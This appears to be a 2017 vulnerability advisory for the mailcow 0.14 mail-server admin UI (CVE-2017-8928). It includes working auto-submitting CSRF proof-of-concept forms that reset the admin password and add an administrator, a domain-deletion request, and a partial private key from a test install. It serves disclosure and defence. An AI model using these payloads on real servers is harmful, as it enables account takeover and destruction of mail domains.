[+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt [+] ISR: ApparitionSec Vendor: ============= mailcow.email mailcow.github.io Product: =========== The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access. Vulnerability Type: =================== CSRF Password Reset / Add Admin / Delete Domains CVE Reference: ============== CVE-2017-8928 Security Issue: ================ mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage remote attackers can execute the following exploits. 1) reset admin password 2) add arbitrary admin 3) delete domains Other issues found in mailcow are as follows: Session fixation: ================= Session ID: Pre authentication and Post auth is the same, and does not change upon successful login. ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication World Readable Private key "key.pem" ==================================== john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami john john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF 4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu 5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ etc... References: ============ https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd Exploit/POC: ============= [Admin Password Reset] <form action="https://localhost/admin.php" method="post"> <input type="hidden" name="admin_user_now" value="admin"> <input type="hidden" name="admin_user" value="admin"> <input type="hidden" name="admin_pass" value="Abc12345"> <input type="hidden" name="admin_pass2" value="Abc12345"> <input type="hidden" name="trigger_set_admin" value=""> <script>document.forms[0].submit()</script> </form> HTTP Response: 'Changes to administrator have been saved" ////////////////////// [Add Admin] <form action="https://localhost/admin.php" method="post"> <input type="hidden" name="username" value="HELL"> <input type="hidden" name="password" value="Abc12345"> <input type="hidden" name="password2" value="Abc12345"> <input type="hidden" name="active" value="on"> <input type="hidden" name="trigger_add_domain_admin" value="localhost"> <script>document.forms[0].submit()</script> </form> //////////////////// [Delete domains] https://localhost/mailbox.php domain=myDomain&trigger_mailbox_action=deletedomain Network Access: =============== Remote Severity: ========= Medium Disclosure Timeline: ================================= Vendor Notification: May 6, 2017 Vendor releases fix: May 6, 2017 May 14, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx